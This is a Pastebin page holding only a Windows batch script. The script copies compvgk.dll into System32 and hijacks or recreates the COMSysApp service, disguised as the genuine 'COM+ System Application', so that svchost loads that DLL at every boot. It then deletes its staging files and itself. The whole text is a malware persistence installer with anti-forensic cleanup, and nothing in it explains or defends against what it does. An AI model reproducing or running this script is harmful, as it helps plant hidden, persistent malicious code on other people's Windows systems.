Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off
- sc stop COMSysApp > nul
- echo %~dp0 | findstr /i "system32" > nul
- if %ERRORLEVEL% equ 0 (goto INSTALL) else (goto COPYFILE)
- :COPYFILE
- copy /y %~dp0\compvgk.dll %windir%\System32 > nul
- del /f /q %~dp0\compvgk.dll > nul
- copy /y %~dp0\compvgk.ini %windir%\System32 > nul
- del /f /q %~dp0\compvgk.ini > nul
- :INSTALL
- sc query ComSysApp > nul
- if %errorlevel% neq 0 (
- sc create ComSysApp binpath= "%windir%\System32\svchost.exe -k COMSysApp" DisplayName= "COM+ System Application" > nul
- sc description ComSysApp "@comres.dll,-948" > nul
- )
- sc stop COMSysApp > nul
- sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k COMSysApp" > nul
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f > nul
- reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\System32\compvgk.dll" /f > nul
- sc start COMSysApp > nul
- del /f /q %TEMP%\compwjd.dll > nul
- del /f /q %~dpnx0 > nul
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement